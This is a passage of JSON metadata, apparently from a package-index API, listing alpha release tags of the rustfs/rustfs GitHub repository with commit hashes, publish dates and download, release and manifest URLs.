y_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.80","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.80","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.80/manifests"},{"name":"1.0.0-alpha.79","sha":"a95e549430851f3c34ee4cc8dd7be60aa200e8c4","kind":"commit","published_at":"2026-01-07T10:05:52.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.79","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.79/manifests"},{"name":"1.0.0-alpha.78","sha":"3c1494787848b38e0aff9608869007ab0f9b501d","kind":"commit","published_at":"2025-12-30T14:41:10.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.78","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.78","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.78","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.78","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.78/manifests"},{"name":"1.0.0-alpha.77","sha":"89c3ae77a4b91f73883365ce9a61e3935f130771","kind":"commit","published_at":"2025-12-25T06:28:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.77","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.77","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.77","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.77","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.77/manifests"},{"name":"1.0.0-alpha.76","sha":"61f4d307b58f8ff61b556788b86253433e638f4a","kind":"commit","published_at":"2025-12-19T06:57:19.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.76","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.76","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.76","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.76","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.76/manifests"},{"name":"1.0.0-alpha.75","sha":"3eafeb0ff014ae1d8b1b0e6ff5b3526e28cacba9","kind":"commit","published_at":"2025-12-19T05:01:17.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.75","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.75","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.75","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.75/manifests"},{"name":"1.0.0-alpha.74","sha":"4abfc9f554cb708c9fe1d909b1ee154f5662ec57","kind":"commit","published_at":"2025-12-19T04:07:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.74","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.74","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.74","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.74/manifests"},{"name":"1.0.0-alpha.73","sha":"fba201df3dde0581c393fac188719bb5cd587854","kind":"commit","published_at":"2025-12-11T01:55:25.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.73","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.73","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.73","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.73","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.73/manifests"},{"name":"1.0.0-alpha.72","sha":"63d846ed145cbab606437ac6f6d5f38ceae24bcb","kind":"commit","published_at":"2025-12-05T01:23:26.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.72","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.72","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.72","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.72/manifests"},{"name":"1.0.0-alpha.71","sha":"5b0a3a07645364d998e3f518f33a128d2e457da6","kind":"commit","published_at":"2025-12-03T10:49:11.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.71","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.71/manifests"},{"name":"1.0.0-alpha.70","sha":"ee04cc77a0d7ba88fee6838ff0c5255f829cef33","kind":"commit","published_at":"2025-11-26T03:56:01.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.70","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.70","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.70","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.70","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.70/manifests"},{"name":"1.0.0-alpha.69","sha":"b73ca0220e264f97c2908f49f331cfb0b4b21f01","kind":"commit","published_at":"2025-11-20T00:40:47.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.69","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.69","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.69","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.69","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.69/manifests"},{"name":"1.0.0-alpha.68","sha":"7e1a9e2edec82509f03501287f8136293d2d8d77","kind":"commit","published_at":"2025-11-11T13:10:03.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.68","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.68","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.68","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.68/manifests"},{"name":"1.0.0-alpha.67","sha":"38f26b7c9429dbc48cf4fd79aaaaf21e06d4fd1c","kind":"commit","published_at":"2025-11-05T01:10:06.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.67","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.67","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.67","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.67/manifests"},{"name":"1.0.0-alpha.66","sha":"d2ced233e5f646e0c6820ea2680cce4f62f58291","kind":"commit","published_at":"2025-10-28T07:26:34.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.66","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.66/manifests"},{"name":"1.0.0-alpha.65","sha":"416d3ad5b7f6883c3eefdaed1bcf7513b0de5c05","kind":"commit","published_at":"2025-10-23T05:59:57.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.65","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.65","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.65","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.65/manifests"},{"name":"1.0.0-alpha.64","sha":"7f24dbda198f4a9c6d73728dcb07710fb1b14c12","kind":"commit","published_at":"2025-10-19T10:32:01.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.64","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.64/manifests"},{"name":"1.0.0-alpha.63","sha":"639bf0c2339b30e2de8f97cc15e00d72895be2cd","kind":"commit","published_at":"2025-10-12T15:47:51.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.63","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.63","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.63","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.63/manifests"},{"name":"1.0.0-alpha.62","sha":"007d9c0b21914302be6393fe4530cbf1b3cc44b3","kind":"commit","published_at":"2025-10-08T13:19:57.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.62","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.62/manifests"},{"name":"1.0.0-alpha.61","sha":"7622b37f7be3e7e83a2a3fbfc5547e18930cce55","kind":"commit","published_at":"2025-09-30T09:32:23.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.61","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.61/manifests"},{"name":"1.0.0-alpha.60","sha":"9b7f4d477af150dd6beeab117ffb381d8b08dea9","kind":"commit","published_at":"2025-09-24T14:23:31.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.60","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.60/manifests"},{"name":"1.0.0-alpha.59","sha":"f7e188eee722a733b6080197b55420e69b425fbf","kind":"commit","published_at":"2025-09-18T15:30:25.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.59","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.59/manifests"},{"name":"1.0.0-alpha.58","sha":"e5f0760009f1b8b5f906fd7e8a6cc6aa32433881","kind":"commit","published_at":"2025-09-18T09:05:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.58","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.58/manifests"},{"name":"1.0.0-alpha.57","sha":"57f082ee2b669ca565d6d95012425bfee8e4f151","kind":"commit","published_at":"2025-09-16T10:02:24.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.57","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.57/manifests"},{"name":"1.0.0-alpha.56","sha":"3f717292bf69a6cf5fffa0e41253fd1ce08ec5cb","kind":"commit","published_at":"2025-09-13T17:14:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.56","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.56/manifests"},{"name":"1.0.0-alpha.55","sha":"29c004d9352a9d42935726d2e0d8b5ccd771c44a","kind":"commit","published_at":"2025-09-13T06:48:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.55","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.55/manifests"},{"name":"1.0.0-alpha.54","sha":"4595bf7db6b8d15f9f56cd514f3d979d270c3f43","kind":"commit","published_at":"2025-09-13T05:04:06.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.54","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.54/manifests"},{"name":"1.0.0-alpha.53","sha":"f372ccf4a88fc268ae9d9fc3b63325db15f1ba0a","kind":"commit","published_at":"2025-09-12T10:43:45.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.53","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.53/manifests"},{"name":"1.0.0-alpha.52","sha":"70e6bec2a426c8539ac36913bfb1d3ff65298424","kind":"commit","published_at":"2025-09-11T08:49:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.52","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.52/manifests"},{"name":"1.0.0-alpha.51","sha":"9d5ed1acaccf854210a09709cd83c90b1565fd27","kind":"commit","published_at":"2025-09-08T10:35:45.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.51","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.51/manifests"},{"name":"1.0.0-alpha.50","sha":"44f3eb724400419d930a96f8ef4dba9a65dd79fb","kind":"commit","published_at":"2025-09-05T01:50:41.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.50","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.50/manifests"},{"name":"1.0.0-alpha.49","sha":"04bf4b0f984bd0e50a11ddd10ec666575a9c57f7","kind":"commit","published_at":"2025-09-01T16:14:10.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.49","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.49/manifests"},{"name":"1.0.0-alpha.48","sha":"9aebef31ff66f79d0ff0b42209c21ae81f2e4a50","kind":"commit","published_at":"2025-08-27T01:39:25.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.48","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.48/manifests"},{"name":"1.0.0-alpha.47","sha":"c2d782bed16c963f37a294d97f527ec70712325a","kind":"commit","published_at":"2025-08-26T01:35:24.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.47","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.47/manifests"},{"name":"1.0.0-alpha.46","sha":"5b85bf7a001e23de66f7c2f216b7b7db5847c41f","kind":"commit","published_at":"2025-08-22T08:51:56.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.46","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.46/manifests"},{"name":"1.0.0-alpha.45","sha":"e9c9a2d1f26ec9d266db12b90f2d57354839ae3c","kind":"commit","published_at":"2025-08-19T14:58:54.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.45","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.45/manifests"},{"name":"1.0.0-alpha.44","sha":"10c949af6231f2a7874822b3244ec8a90693f0a9","kind":"tag","published_at":"2025-08-19T10:22:33.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.44","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.44/manifests"},{"name":"1.0.0-alpha.43","sha":"c7c149975b711e2f99175373d35970a1974194ea","kind":"tag","published_at":"2025-08-14T01:42:33.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.43","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.43/manifests"},{"name":"1.0.0-alpha.42","sha":"387f4faf782475018ef3a9d74486f993128b26b8","kind":"tag","published_at":"2025-08-12T14:21:44.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.42","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.42/manifests"},{"name":"1.0.0-alpha.41","sha":"ebad748cdc5e46864166e62a647799420c8d6ac5","kind":"tag","published_at":"2025-08-10T12:36:08.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.41","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.41/manifests"},{"name":"1.0.0-alpha.40","sha":"9aba89a12c9bc280e1ddaf558dbbdaffd536e0a3","kind":"tag","published_at":"2025-08-06T14:27:17.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.40","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.40/manifests"},{"name":"1.0.0-alpha.39","sha":"57d196771a3548282eecfcc23087a37c13cb27b4","kind":"tag","published_at":"2025-07-30T23:31:24.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.39","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.39/manifests"},{"name":"1.0.0-alpha.38","sha":"56fd8132e93fe0ac0c57acb941c4bea58c7c457b","kind":"tag","published_at":"2025-07-28T11:52:05.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.38","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.38/manifests"},{"name":"